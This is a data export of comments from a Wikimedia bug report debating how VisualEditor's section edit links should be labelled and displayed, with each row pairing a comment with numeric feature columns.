245684,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","**kwwilliams** wrote:

(In reply to comment #50)

> That RFC can provide guidance, but there are issues of ends versus means.

Exactly. The ""end"" of testing Visual Editor should not include the ""means"" of having it used by the unwary. The only people using VE at this point should be people that are completely aware that they are testing in addition to editing. We can't rely that new accounts have seen some previous notice, or that anonymous editors have seen any notice at all. The only way to ensure that people are aware that it is a beta editor is in the button text itself.",,,1375301804,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,4,,2.5,0.0,1.0,0.0,1.5,6.0,3.0,0.0,0.0,0.0,2.5,1.0,0.0,1.5,0.0,1.0,0.0,4.5,12.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,6.0,5.0,2.5,1.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.5,1.0,14.0,0.0,2.5,0.0,0.0,0.0,0.0,2.0,2.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,4.5,4.5,6.0,4.5,1.0,7.0,0.0,0.0,0.0,0.5,3.5,0.0,0.5,0.0,4.0,12.0,2.0,0.0,2.0,0.0,4.0,0.0,0.5,1.0,1.0,2.5,0.0,0.0,0.0,3.7105263157894735,0.7543859649122807,"**kwwilliams** wrote:

(In reply to comment #50)

QUOTE

Exactly. The ""end"" of testing Visual Editor should not include the ""means"" of having it used by the unwary. The only people using VE at this point should be people that are completely aware that they are testing in addition to editing. We can't rely that new accounts have seen some previous notice, or that anonymous editors have seen any notice at all. The only way to ensure that people are aware that it is a beta editor is in the button text itself."
245682,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","(In reply to comment #49)
> The only mention of the warning that it is beta came in the ""Oppose"" section.
> The very fact that two of the only three oppose votes mention placing the
> warning after VE has been invoked makes it clear that people commenting are
> commenting in the context that the *button* should warn people that it's
> beta.

That RFC can provide guidance, but there are issues of ends versus means. Changing the section edit links to read ""beta"" would be a bad idea both for the English Wikipedia and for VisualEditor generally.

As suggested in comment 46, the exact wording should be customizable by editing the relevant MediaWiki message pages on-wiki. This bug should focus on removing the animation altogether and providing a sane default behavior for VisualEditor.",,,1375301077,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,1.0,0.0,0.0,4.5,1.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.5,0.0,0.0,2.0,10.5,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.5,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,0.0,0.0,12.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,11.5,0.5,3.0,7.0,0.0,0.0,0.0,0.5,4.0,0.0,1.5,0.0,0.0,10.5,7.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,3.5,0.0,0.0,0.0,4.255686274509804,0.8019607843137255,"(In reply to comment #49)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That RFC can provide guidance, but there are issues of ends versus means. Changing the section edit links to read ""beta"" would be a bad idea both for the English Wikipedia and for VisualEditor generally.

As suggested in comment 46, the exact wording should be customizable by editing the relevant MediaWiki message pages on-wiki. This bug should focus on removing the animation altogether and providing a sane default behavior for VisualEditor."
245680,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","**kwwilliams** wrote:

(In reply to comment #47)
> (In reply to comment #45)
> > I would suggest that we go with
> > 
> > [beta editor | stable editor] 
> 
> No. That RFC (linked in comment 45) ... suggests better advertising that
> VisualEditor is beta software. 

It specifically asks about the ""user interface"", not the advertising.

(In reply to comment #48)

> 
> ,,, we don't need to point out that it's beta in the
> section edit links (it would just be more annoying). 

I suggest that you go back and read that section. The question is explicit. 

Answer 1: The ""edit"" button should explicitly say ""beta editor"" 
Answer 4: Please label that Edit button more clearly as the way to the Beta version.
Answer 7: Indeed, per Kww (i.e. per answer 1)
Answer 17: per User:Kww (again, per answer 1)
Answer 26: There is no reason the ""edit"" button shouldn't mention the fact it's using VE
Answer  28: Per kww (i.e. per answer 1)
Answer 34: Per kww
Answer 39: Label ""Edit for beta or worse"" (just kidding). Perhaps label as ""Edit slow"" or ""Edit risky"" or such

All the remaining supports were in the context of actually changing the *button text*, even if the question said ""user interface"".

The only mention of the warning that it is beta came in the ""Oppose"" section. The very fact that two of the only three oppose votes mention placing the warning after VE has been invoked makes it clear that people commenting are commenting in the context that the *button* should warn people that it's beta.",,,1375300376,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,4,,0.25,0.0,0.25,0.75,0.5,2.25,0.5,0.0,0.0,0.25,2.5,0.25,0.0,0.75,0.25,0.25,1.0,3.25,8.5,0.0,0.5,0.75,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.25,3.5,0.25,1.5,4.75,0.25,0.0,0.0,0.25,0.75,0.25,0.0,0.25,1.75,0.0,0.25,1.25,0.0,0.5,13.0,0.0,0.5,0.0,0.5,0.0,0.0,0.25,0.25,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.75,1.75,11.5,2.5,1.0,6.75,0.0,0.0,0.0,0.5,2.0,0.25,4.0,0.0,2.0,8.5,6.0,0.0,4.75,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.5,0.0,0.5,3.411184210526316,0.611842105263158,"**kwwilliams** wrote:

(In reply to comment #47)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

It specifically asks about the ""user interface"", not the advertising.

(In reply to comment #48)

QUOTE
QUOTE
QUOTE

I suggest that you go back and read that section. The question is explicit. 

Answer 1: The ""edit"" button should explicitly say ""beta editor"" 
Answer 4: Please label that Edit button more clearly as the way to the Beta version.
Answer 7: Indeed, per Kww (i.e. per answer 1)
Answer 17: per User:Kww (again, per answer 1)
Answer 26: There is no reason the ""edit"" button shouldn't mention the fact it's using VE
Answer  28: Per kww (i.e. per answer 1)
Answer 34: Per kww
Answer 39: Label ""Edit for beta or worse"" (just kidding). Perhaps label as ""Edit slow"" or ""Edit risky"" or such

All the remaining supports were in the context of actually changing the *button text*, even if the question said ""user interface"".

The only mention of the warning that it is beta came in the ""Oppose"" section. The very fact that two of the only three oppose votes mention placing the warning after VE has been invoked makes it clear that people commenting are commenting in the context that the *button* should warn people that it's beta."
245677,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","(In reply to comment #46)
> [visual edit (beta) | source edit] would be better but not optimal I don't
> think. [edit | edit visually (beta)] is the most compact that I can come up
> with, but I'm not claiming that as perfect.

As stated in comment 47, we don't need to point out that it's beta in the section edit links (it would just be more annoying). We can advertise that VisualEditor is beta software in the VisualEditor interface itself (i.e., ?veaction=edit).",,,1375299134,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,0.0,3.0,0.0,4.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,6.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,12.0,3.0,0.0,3.0,0.0,0.0,0.0,1.0,7.0,0.0,3.0,0.0,7.0,15.0,4.0,1.0,0.0,0.0,7.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,3.5441176470588234,0.7058823529411765,"(In reply to comment #46)
QUOTE
QUOTE
QUOTE

As stated in comment 47, we don't need to point out that it's beta in the section edit links (it would just be more annoying). We can advertise that VisualEditor is beta software in the VisualEditor interface itself (i.e., ?veaction=edit)."
245674,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","(In reply to comment #45)
> I would suggest that we go with
> 
> [beta editor | stable editor] 

No. That RFC (linked in comment 45) is specific to one wiki and doesn't suggest using [beta editor | stable editor], it suggests better advertising that VisualEditor is beta software. This request should be filed as a separate bug (and cross-referenced with [[Wikipedia:VisualEditor/Improvements]]).",,,1375299017,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,1.0,1.0,8.0,1.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,9.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,15.0,1.0,3.0,4.0,0.0,0.0,0.0,1.0,4.0,0.0,4.0,0.0,1.0,9.0,9.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,4.0,3.7721518987341773,0.7215189873417721,"(In reply to comment #45)
QUOTE
QUOTE
QUOTE

No. That RFC (linked in comment 45) is specific to one wiki and doesn't suggest using [beta editor | stable editor], it suggests better advertising that VisualEditor is beta software. This request should be filed as a separate bug (and cross-referenced with [[Wikipedia:VisualEditor/Improvements]])."
245667,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","I don't think [beta editor | stable editor] is good as it doesn't tell you what the functional difference between them is. We probably also want to stick with ""edit"" rather than ""editor"" (verb rather than noun). 

[visual edit (beta) | source edit] would be better but not optimal I don't think. 
[edit | edit visually (beta)] is the most compact that I can come up with, but I'm not claiming that as perfect. If one of them is labelled simply ""edit"" that should be listed first (regardless of which one it is).

Allowing the titles to be set by a MediaWiki: namespace page would be ideal, but that is a different request and I can't remember if it has a bug or not.",,,1375298923,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,2.0,4.0,6.0,3.0,0.0,0.0,1.0,1.5,2.5,0.0,0.0,0.0,3.5,0.0,9.5,8.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.0,0.0,7.0,1.5,1.5,0.5,0.5,0.0,0.0,1.5,1.0,0.0,1.0,0.0,0.0,0.5,1.5,0.0,0.0,0.5,10.5,1.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,3.5,6.0,5.5,2.0,3.0,5.0,0.0,0.0,0.0,0.0,6.0,0.0,0.5,0.0,7.0,8.5,2.0,0.0,3.0,0.0,7.0,0.0,2.5,2.0,1.0,1.0,0.5,0.5,2.0,3.3791666666666664,0.671141975308642,"I don't think [beta editor | stable editor] is good as it doesn't tell you what the functional difference between them is. We probably also want to stick with ""edit"" rather than ""editor"" (verb rather than noun). 

[visual edit (beta) | source edit] would be better but not optimal I don't think. 
[edit | edit visually (beta)] is the most compact that I can come up with, but I'm not claiming that as perfect. If one of them is labelled simply ""edit"" that should be listed first (regardless of which one it is).

Allowing the titles to be set by a MediaWiki: namespace page would be ideal, but that is a different request and I can't remember if it has a bug or not."
245659,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","**kwwilliams** wrote:

(In reply to comment #44)
> This needs to be fixed as soon as possible. Compounded annoyance is a very
> bad
> thing.
> 
> Let's go with [edit | edit source] for now.

Based on the results so far at http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Default_State_RFC#Question_4:_Should_the_user_interface_explicitly_warn_editors_that_pressing_the_.22edit.22_button_is_using_beta_software.3F I would suggest that we go with

[beta editor | stable editor] 

or there will be more calls that WMF is not paying attention to the preferences of the Wikipedia community",,,1375298212,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,4.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,14.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,16.0,3.0,1.0,4.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,3.0,13.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,3.4857142857142858,0.7285714285714285,"**kwwilliams** wrote:

(In reply to comment #44)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Based on the results so far at URL I would suggest that we go with

[beta editor | stable editor] 

or there will be more calls that WMF is not paying attention to the preferences of the Wikipedia community"
245653,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","This needs to be fixed as soon as possible. Compounded annoyance is a very bad thing.

Let's go with [edit | edit source] for now.",,,1375296805,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,3.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,9.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,3.34375,0.875,"This needs to be fixed as soon as possible. Compounded annoyance is a very bad thing.

Let's go with [edit | edit source] for now."
245646,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","**lecotegougdelaforce** wrote:

Two more comments, after reading the discussion pointed by comment 30 : 

- this argument from Nick White needs emphasizing : ""I don't think two small edit links by section headings constitute clutter. Rather it emphasises *the* key
thing about wikipedia, that editing is encouraged.""

- the cluttering invoked to justify the hovering solution is actually an argument *against* the hovering : in any case when you hover the link the second option appears, so at one moment the same text will be visible anyway, and actually the hovering is adding a level of cluttering, blinking (including additional blinking when the hovering occurs without the user wanting to edit the section).",,,1375278214,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,4,,0.5,0.0,0.0,0.5,0.5,4.5,1.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.5,1.5,4.5,8.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,6.0,0.5,0.5,2.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.5,0.0,0.0,0.0,10.0,0.0,1.0,0.0,0.5,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,9.0,2.5,2.5,2.0,1.5,11.0,0.0,0.0,0.0,0.0,2.5,0.0,2.0,0.0,1.5,8.0,2.5,0.0,1.0,0.0,1.5,0.0,1.5,1.5,0.0,5.0,0.5,0.0,0.0,4.274647887323944,0.7464788732394366,"**lecotegougdelaforce** wrote:

Two more comments, after reading the discussion pointed by comment 30 : 

- this argument from Nick White needs emphasizing : ""I don't think two small edit links by section headings constitute clutter. Rather it emphasises *the* key
thing about wikipedia, that editing is encouraged.""

- the cluttering invoked to justify the hovering solution is actually an argument *against* the hovering : in any case when you hover the link the second option appears, so at one moment the same text will be visible anyway, and actually the hovering is adding a level of cluttering, blinking (including additional blinking when the hovering occurs without the user wanting to edit the section)."
245640,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","**lecotegougdelaforce** wrote:

Glad to see this report already exists.

The idea of having text for VE editing and an icon for standard editing is *wrong* : you can't have two different methods (namely text and image) for advertising two options of a single choice, it's an aberration in terms of user interface (I'm no expert though), it's completely counter-intuitive.  Furthermore people use to associate text *with* image (caption), which makes it even more counter-intuitive.

As far as I'm concerned, I'd be satisfied if we could just switch the default editing method.  That is, I don't want to use VE as a standard, but an advertisement saying it may be useful in certain situations, so I'd prefer to keep it at the hand in case I want to give it a try.  However, I want the default editing action to be the standard editing.  That is, I want the first ""modify"" link to open the standard editor, and the link enabled by the hovering to be the VE.  Therefore, a simple ""default editor = standard/VE"" in the preferences would be enough for me.

However I understand the reading issue mentioned in comment 25, so I'd prefer if the hovering was completely disabled and both links always present (possibly with the option to hide one or both in the preferences).

Furthermore, I'm strongly for the idea to give the user the choice of his editor.  And when I say ""user"", I also mean ""new user"".  Not all users are WYSIWYGers, and though people seem (and they're probably right) to think that the standard editor may frighten some new users, hiding the standard editor by default may as well repel some new users.

Therefore the best solution in my opinion would be to simply disable the hovering and keeping both links, with the possibility to hide one or both in the preferences.  The argument that it's too many links is absurd : on a webpage there are links everywhere, internet users are used to ignore them.  It's even more true for WP where almost half of words are links…",,,1375277119,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,4,,0.8,0.0,0.6,0.2,0.6,6.2,1.6,0.0,0.4,0.4,4.0,1.8,0.0,0.2,0.2,3.2,0.2,7.0,10.4,0.0,2.8,0.0,0.0,0.0,0.6,0.2,0.0,0.2,0.8,1.0,0.4,5.8,0.8,1.6,1.2,0.2,0.2,0.2,0.0,0.4,0.2,0.6,0.0,2.2,0.0,0.8,0.2,0.0,0.2,14.0,0.4,0.2,0.0,0.6,0.0,0.2,0.0,0.0,0.8,0.2,0.0,0.8,0.2,0.2,0.0,0.0,0.0,6.8,3.2,7.0,1.8,2.2,9.2,0.0,0.0,0.0,0.0,5.2,0.0,1.0,0.0,5.8,10.4,1.6,0.0,1.6,0.0,5.8,0.0,0.6,1.6,0.4,1.2,0.4,0.2,0.0,3.719918283963228,0.7034729315628192,"**lecotegougdelaforce** wrote:

Glad to see this report already exists.

The idea of having text for VE editing and an icon for standard editing is *wrong* : you can't have two different methods (namely text and image) for advertising two options of a single choice, it's an aberration in terms of user interface (I'm no expert though), it's completely counter-intuitive.  Furthermore people use to associate text *with* image (caption), which makes it even more counter-intuitive.

As far as I'm concerned, I'd be satisfied if we could just switch the default editing method.  That is, I don't want to use VE as a standard, but an advertisement saying it may be useful in certain situations, so I'd prefer to keep it at the hand in case I want to give it a try.  However, I want the default editing action to be the standard editing.  That is, I want the first ""modify"" link to open the standard editor, and the link enabled by the hovering to be the VE.  Therefore, a simple ""default editor = standard/VE"" in the preferences would be enough for me.

However I understand the reading issue mentioned in comment 25, so I'd prefer if the hovering was completely disabled and both links always present (possibly with the option to hide one or both in the preferences).

Furthermore, I'm strongly for the idea to give the user the choice of his editor.  And when I say ""user"", I also mean ""new user"".  Not all users are WYSIWYGers, and though people seem (and they're probably right) to think that the standard editor may frighten some new users, hiding the standard editor by default may as well repel some new users.

Therefore the best solution in my opinion would be to simply disable the hovering and keeping both links, with the possibility to hide one or both in the preferences.  The argument that it's too many links is absurd : on a webpage there are links everywhere, internet users are used to ignore them.  It's even more true for WP where almost half of words are links…"
245635,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","(In reply to comment #40 by kwwilliams@kwwilliams.com)

I was assuming of course that the visual editor was working well. I think that the visual editor should be turned off for anonymous IP users until it is working well. 

The VE should have true section editing (instead of whole-page editing as it does now) before IP users are allowed to use the VE. 

The VE also needs to be able to add references well before it is enabled again for IP users.",,,1375120403,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,3.0,0.0,6.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,18.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,3.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,1.0,0.0,1.0,1.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,12.0,2.0,0.0,5.0,0.0,0.0,0.0,1.0,6.0,0.0,1.0,0.0,5.0,18.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,3.8947368421052633,0.6210526315789474,"(In reply to comment #40 by kwwilliams@kwwilliams.com)

I was assuming of course that the visual editor was working well. I think that the visual editor should be turned off for anonymous IP users until it is working well. 

The VE should have true section editing (instead of whole-page editing as it does now) before IP users are allowed to use the VE. 

The VE also needs to be able to add references well before it is enabled again for IP users."
245631,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","**kwwilliams** wrote:

(In reply to comment #39)
> (In reply to comment #38 by Chris McKenna)
> 
> I think completely new users would be more confused by having to choose
> between
> 2 edit links in text format. We want to encourage them to try the WYSIWYG
> visual editor first. 
> 
Why would you want to do that? Wouldn't it be better to steer them to the working editor if you need to ""steer"" them at all?

The navigation needs to remain *neutral*.",,,1375113009,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,4,,1.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,1.0,4.0,3.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,15.0,3.0,0.0,4.0,0.0,0.0,0.0,1.0,10.0,0.0,1.0,0.0,7.0,12.0,8.0,3.0,3.0,0.0,7.0,0.0,1.0,0.0,3.0,1.0,1.0,0.0,0.0,3.0972222222222223,0.5972222222222222,"**kwwilliams** wrote:

(In reply to comment #39)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
Why would you want to do that? Wouldn't it be better to steer them to the working editor if you need to ""steer"" them at all?

The navigation needs to remain *neutral*."
245626,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","(In reply to comment #38 by Chris McKenna)

I think completely new users would be more confused by having to choose between 2 edit links in text format. We want to encourage them to try the WYSIWYG visual editor first. 

If there is one link and one icon they see the VE ""edit"" link and so they click it to edit. Nothing could be simpler up to that point. 

Then they type in some text, and maybe add bold and italic via VE. So far, it is very simple, and exactly like their email composition.  

My Google Mail ""compose"" link goes directly to the WYSIWYG editor. So should the ""edit"" link in Wikipedia. 

Google Mail offers a ""plain text mode"" in an unlabeled dropdown menu at the bottom right of the compose window. 

We don't want to make wikitext source editing difficult to access, and so an icon is direct access. But we won't confuse completely new users by having two openly-labeled ""edit"" links.",,,1375091920,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,4,,0.3333333333333333,0.0,1.0,0.0,1.0,6.666666666666667,1.3333333333333333,0.0,0.0,0.3333333333333333,1.6666666666666667,1.0,0.0,0.0,0.3333333333333333,2.0,0.0,6.333333333333333,9.0,0.3333333333333333,2.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,4.0,0.6666666666666666,0.6666666666666666,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,12.333333333333334,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,3.6666666666666665,1.6666666666666667,8.0,0.3333333333333333,2.6666666666666665,4.333333333333333,0.0,0.0,0.0,0.3333333333333333,4.0,0.0,1.6666666666666667,0.0,4.333333333333333,9.0,4.0,0.0,4.0,0.0,4.333333333333333,0.0,0.0,1.3333333333333333,0.3333333333333333,1.3333333333333333,0.6666666666666666,0.0,0.0,3.673544044483465,0.7870207784606379,"(In reply to comment #38 by Chris McKenna)

I think completely new users would be more confused by having to choose between 2 edit links in text format. We want to encourage them to try the WYSIWYG visual editor first. 

If there is one link and one icon they see the VE ""edit"" link and so they click it to edit. Nothing could be simpler up to that point. 

Then they type in some text, and maybe add bold and italic via VE. So far, it is very simple, and exactly like their email composition.  

My Google Mail ""compose"" link goes directly to the WYSIWYG editor. So should the ""edit"" link in Wikipedia. 

Google Mail offers a ""plain text mode"" in an unlabeled dropdown menu at the bottom right of the compose window. 

We don't want to make wikitext source editing difficult to access, and so an icon is direct access. But we won't confuse completely new users by having two openly-labeled ""edit"" links."
245621,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","It's not about aesthetics (that's the reason we have the hover) it's about usability. 

One icon and one link would not likely slow me down considerably, but it would seriously impact new users and those who are not as computer savvy as the people who comment here. UIs need to consistent and accessible. There are two editors, and they need to be accessed in the same way. One icon and one link is guaranteed to cause confusion and it will require active thought far longer than two of the same (blame human psychology).

Take a look at the user interfaces of all the websites and programs you use, and look at the ones you don't regularly use because you can do the same easier elsewhere. Notice how all the ones you think of as good are clear, intuitive and internally consistent. This is not a coincidence.",,,1375058688,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,4,,1.0,0.0,0.0,1.0,2.5,7.5,1.5,0.5,0.0,0.0,2.0,0.5,0.0,0.0,0.5,1.0,0.0,9.0,9.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,1.5,0.0,8.0,2.5,2.0,1.0,2.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,12.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,1.5,0.0,0.5,0.0,0.5,0.5,7.0,3.5,4.5,1.0,5.5,9.5,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,6.0,9.0,0.5,0.0,0.0,0.0,6.0,0.0,1.5,1.0,0.5,0.0,1.0,0.0,0.0,3.9642857142857144,0.6845238095238095,"It's not about aesthetics (that's the reason we have the hover) it's about usability. 

One icon and one link would not likely slow me down considerably, but it would seriously impact new users and those who are not as computer savvy as the people who comment here. UIs need to consistent and accessible. There are two editors, and they need to be accessed in the same way. One icon and one link is guaranteed to cause confusion and it will require active thought far longer than two of the same (blame human psychology).

Take a look at the user interfaces of all the websites and programs you use, and look at the ones you don't regularly use because you can do the same easier elsewhere. Notice how all the ones you think of as good are clear, intuitive and internally consistent. This is not a coincidence."
245614,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","(In reply to comment #35 by Chris McKenna)

You said the following concerning why you want consistency:

> Because there are two ways to do the same job (edit the page) the ways of
> doing this need to look the same. 

...

> As explained above, ""clutter"" is very significantly less important than
> consistency. If we need it to say ""edit"" at least once then we need two text
> links. If two text links are two cluttered then we need two icons.

I still do not see how one edit link being text, and one being an icon would slow down your editing in any way. It sounds more like an esthetic preference.  

You like things in order. My room is probably a lot messier than yours. ;)

I think many options should be put in user preferences. The more the better as far as I am concerned. More happy editors means more editing gets done.",,,1375047003,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,3,,1.5,0.0,0.0,1.5,0.5,5.0,1.5,0.0,0.0,0.0,4.5,0.0,0.0,0.0,0.0,3.0,0.5,7.0,6.5,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.5,1.0,7.0,2.0,1.0,1.5,2.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.5,0.0,1.0,0.0,0.0,0.5,4.5,3.5,11.0,1.0,0.5,5.0,0.0,1.0,0.0,0.5,2.5,0.0,1.5,0.0,7.0,6.5,1.5,0.0,0.0,0.0,6.0,0.0,1.0,2.0,0.0,0.5,5.0,0.0,0.0,3.698587570621469,0.7983050847457627,"(In reply to comment #35 by Chris McKenna)

You said the following concerning why you want consistency:

QUOTE
QUOTE

...

QUOTE
